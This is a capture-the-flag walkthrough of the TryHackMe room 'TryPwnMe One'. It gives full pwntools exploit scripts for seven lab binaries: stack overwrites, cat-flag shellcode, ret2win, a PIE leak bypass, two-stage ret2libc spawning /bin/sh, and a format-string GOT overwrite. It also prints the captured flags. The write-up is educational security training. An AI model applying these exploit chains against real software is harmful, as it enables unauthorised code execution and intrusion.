| Follow @anir0y | |
|---|---|
| TryPwnMe One |
TryPwnMe One is a medium-rated collection of seven beginner-to-intermediate binary exploitation challenges. Each task hands you a small Linux ELF and a remote service (one port per challenge) and asks for the same thing every time: develop an exploit and read flag.txt off the remote host. The binaries climb a clean difficulty curve, from a one-byte stack variable overwrite up to a full ret2libc leak and a format string GOT overwrite, so it is a good way to drill the core 64-bit userland primitives in one sitting. If you like this kind of hands-on pwn, it pairs well with my earlier Scripting walkthrough on socket chasing and crypto, and the blue-team opposite number is my HeartBleed walkthrough.
All the work here runs on the TryHackMe AttackBox, which ships pwntools, gdb, checksec, and ROPgadget out of the box. The files live in /root/Rooms/TryPwnMeOne/. The first thing worth doing is running checksec across every binary, because the mitigations tell you which technique each challenge wants.

Two facts jump out of that table and shape everything below: not a single binary has a stack canary, so straight stack smashing is always on the menu, and tryexecme is the only one with an executable stack (NX unknown - GNU_STACK missing), which is the hint that it wants shellcode. Everything else has NX on, so those challenges are return-oriented.
Task 1 and 2: Introduction and Materials
The first two tasks have no answers to submit. Task 1 confirms the lab machine is up (the remote services sit behind MACHINE_IP, ports 9003 to 9009), and Task 2 points you at /root/Rooms/TryPwnMeOne/ on the AttackBox or a Download Task Files link if you would rather work locally. Click to complete both and move on.
Task 3: TryOverflowMe 1 (clobber the admin flag)
The source is a classic uninitialised-check pattern: a char buf[0x10] read with gets(), and an int admin = 0 that gates reading the flag.
int admin = 0;
char buf[0x10];
puts("Please go ahead and leave a comment :");
gets(buf);
if (admin) { /* read and print flag.txt */ }
else { puts("Bye bye"); exit(1); }
gets() has no bounds, so the plan is to overflow buf into admin and set it non-zero. The only number that matters is the offset. Disassembling main shows buf at rbp-0x30 and admin at rbp-0x4, so the padding is 0x30 - 0x4 = 0x2c, which is 44 bytes. Any non-zero value after that passes the check.
# overflowme1 - 9003
from pwn import *
r = remote("MACHINE_IP", 9003)
r.sendline(b"A"*44 + p32(1)) # 44 pad, then admin = 1
print(r.recvall(timeout=5).decode())
Please go ahead and leave a comment :
THM{Oooooooooooooovvvvverrrflloowwwwww}
The flag is THM{Oooooooooooooovvvvverrrflloowwwwww}.
Task 4: TryOverflowMe 2 (overflow to an exact value)
Same idea, one twist. Here the check is not “non-zero” but an exact comparison, and the buffer is bigger.
char buf[64];
gets(buf);
if (admin == 0x59595959) { read_flag(); }
buf sits at rbp-0x50 and admin at rbp-0x4, so the offset is 0x50 - 0x4 = 0x4c, which is 76 bytes. The value 0x59595959 is just the ASCII string YYYY, so the payload writes exactly that into admin.
# overflowme2 - 9004
r = remote("MACHINE_IP", 9004)
r.sendline(b"A"*76 + p32(0x59595959)) # admin == "YYYY"
THM{why_just_the_A_have_all_theFun?}
The flag is THM{why_just_the_A_have_all_theFun?}. The joke in the flag is the point: every other byte of the payload is an A, and only the last four do the work.
Task 5: TryExecMe (shellcode on an executable stack)
This one reads your input into a buffer and then calls that buffer as a function.
char *buf[128];
read(0, buf, sizeof(buf));
((void (*)()) buf)(); // execute whatever you sent
Because tryexecme is the binary whose stack is executable, there is no ROP needed at all: send raw machine code and it runs. The cleanest way to grab the flag without wrestling with a half-interactive socket shell is to send shellcode that just reads and prints flag.txt directly, then exits.
# tryexecme - 9005
context.arch = "amd64"
r = remote("MACHINE_IP", 9005)
r.recvuntil(b"execute it:")
sc = asm(shellcraft.amd64.linux.cat("flag.txt") + shellcraft.amd64.linux.exit(0))
r.send(sc)
print(r.recvall(timeout=4).decode())
Executing Spell...
THM{Tr1Execm3_with_s0m3_sh3llc0de_w00t}
The flag is THM{Tr1Execm3_with_s0m3_sh3llc0de_w00t}. A /bin/sh payload works too, but over a raw TCP socket the interactive shell buffers awkwardly, so a one-shot cat shellcode is more reliable for evidence.
Task 6: TryRetMe (return to win)
From here on NX is enabled, so the stack is data only and the technique is return-oriented. tryretme kindly ships a win() that calls system("/bin/sh"), so this is textbook ret2win.
void win() { system("/bin/sh"); }
void vuln() { char *buf[0x20]; read(0, buf, 0x200); }
buf is at rbp-0x100, so the return address is 0x100 + 8 = 264 bytes in. One detail trips people up: calling system through win needs a 16-byte aligned stack, or the movaps inside the libc path segfaults. The fix is to prepend a bare ret gadget (found with ROPgadget), which nudges alignment by eight bytes before entering win.
# tryretme - 9006
ret = 0x40101a # ret gadget for stack alignment
win = 0x4011dd
r = remote("MACHINE_IP", 9006)
r.sendline(b"A"*264 + p64(ret) + p64(win))
r.sendline(b"cat flag.txt; echo DONE")
print(r.recvall(timeout=5).decode())
ok, let's go!
THM{a_r3t_to_w1n_by_thm}
DONE
The flag is THM{a_r3t_to_w1n_by_thm}.
Task 7: Random Memories (ret2win with a PIE leak)
random is the same ret2win idea, but it is the one binary built with PIE and Full RELRO, so none of the addresses are fixed. The author left the door open: vuln() prints its own address before the overflow.
void win() { system("/bin/sh"); }
void vuln() {
char *buf[0x20];
printf("I can give you a secret %llx\n", vuln); // leaks PIE base
read(0, buf, 0x200);
}
With the runtime address of vuln leaked, the image base is leak - vuln_offset, and from there win and the alignment ret gadget are just base plus their file offsets (0x1210 and 0x101a). The offset to the return address is 264 again.
# random - 9007
r = remote("MACHINE_IP", 9007)
r.recvuntil(b"secret ")
leak = int(r.recvline().strip(), 16)
base = leak - 0x1319 # vuln file offset
win = base + 0x1210
ret = base + 0x101a
r.sendline(b"A"*264 + p64(ret) + p64(win))
r.sendline(b"cat flag.txt; echo DONE")
print(r.recvall(timeout=5).decode())
ok, let's go!
THM{Th1s_R4ndom_acc3ss_m3mories_tututut_byp4ssed}
The flag is THM{Th1s_R4ndom_acc3ss_m3mories_tututut_byp4ssed}. PIE only slows you down when there is no leak; one printf of a known symbol defeats the whole randomisation.
Task 8: The Librarian (ret2libc)
thelibrarian has no win() to jump to, so you have to reach into libc yourself. The task ships the exact libc.so.6 and ld-linux-x86-64.so.2 it runs with, which matters because every offset must match the remote libc. The binary is not PIE, so the PLT, GOT, and gadgets are at fixed addresses.
This is the standard two-stage ret2libc. Stage one leaks a real libc address by calling puts(puts@got) and then returns to main to get a second overflow. Stage two uses the leak to compute the libc base, then builds a system("/bin/sh") call.
# thelibrarian - 9008
pop_rdi = 0x400639; ret = 0x4004c6
puts_plt = 0x4004e0; puts_got = 0x601018; main = 0x40067d
libc = ELF("libc.so.6")
r = remote("MACHINE_IP", 9008)
r.recvuntil(b"this time")
# stage 1: leak puts@libc, then loop back into main
r.sendline(b"A"*264 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main))
r.recvuntil(b"ok, let's go!")
leak = u64(r.recv(timeout=3).split(b"\n")[1].ljust(8, b"\x00"))
base = leak - libc.symbols["puts"]
system = base + libc.symbols["system"]
binsh = base + next(libc.search(b"/bin/sh"))
# stage 2: system("/bin/sh"), with a ret for alignment
r.recvuntil(b"this time")
r.sendline(b"A"*264 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system))
r.sendline(b"cat flag.txt; echo DONE")
print(r.recvall(timeout=5).decode())
puts @ libc = 0x7f28b6866970 base = 0x7f28b67e6000
ok, let's go!
THM{YAY_You_r3t_t0_libc_well_d0n3}
The flag is THM{YAY_You_r3t_t0_libc_well_d0n3}. One thing that cost a retry: after puts prints the leak there is a leading blank line in the output, so parsing the very first line gives an empty string. Skipping to the first non-empty line fixes the parse. Always print the raw bytes of a leak before trusting your slice of it.
Task 9: Not Specified (format string GOT overwrite)
The last binary passes your input straight to printf as the format string, which is the textbook format string bug. It also has a win(), but it is never called in the normal flow.
void win() { system("/bin/sh"); }
int main() {
char *username[32];
read(0, username, sizeof(username));
printf(username); // format string bug
puts("\nbye\n");
exit(1);
}
The write primitive here is %n. The cleanest target is the GOT entry for a function that runs after the vulnerable printf, and exit() is the last call, so overwriting exit@got with the address of win turns the program’s own cleanup into a shell. A quick probe (%6$p returns our AAAAAAAA) shows the input sits at format argument offset 6. Because the binary is not PIE and exit@got still holds its lazy-resolution stub (same high bytes as win), only the low two bytes change, so a tiny short write is enough. pwntools builds the whole thing with fmtstr_payload.
# notspecified - 9009
win = 0x4011f6; exit_got = 0x404048; offset = 6
payload = fmtstr_payload(offset, {exit_got: win}, write_size="short")
r = remote("MACHINE_IP", 9009)
r.recvuntil(b"username")
r.sendline(payload)
r.sendline(b"cat flag.txt; echo DONE")
print(r.recvall(timeout=5).decode())
bye
THM{l3arn1ng_f0rm4t_str1ngs_awes0m3}
The flag is THM{l3arn1ng_f0rm4t_str1ngs_awes0m3}. Redirecting exit@got is nicer than puts@got here because exit fires last and you do not fight the puts("\nbye\n") that runs in between.
Two takeaways
First, checksec is the exploit plan. In this room the absence of a canary told you stack smashing was always viable, the missing GNU_STACK on exactly one binary flagged it as the shellcode challenge, and PIE on exactly one binary told you to go looking for a leak before anything else. Reading mitigations first saves you from trying the wrong primitive on the wrong binary. The same discipline applies on real targets: enumerate the defenses before you design the attack.
Second, the jump from a lab to the real world is the leak, not the overflow. The overflow mechanics here are simple and uniform (one gets or read, one offset). What actually scaled the difficulty was address knowledge: a hard-coded win for ret2win, a convenient printf leak for PIE, and a two-stage GOT leak for ret2libc. On production software with ASLR, PIE, and full RELRO, finding or manufacturing that one information leak is usually the whole game, and the overflow is just the delivery mechanism.
Room solved 100%: 9 tasks, 7 flags.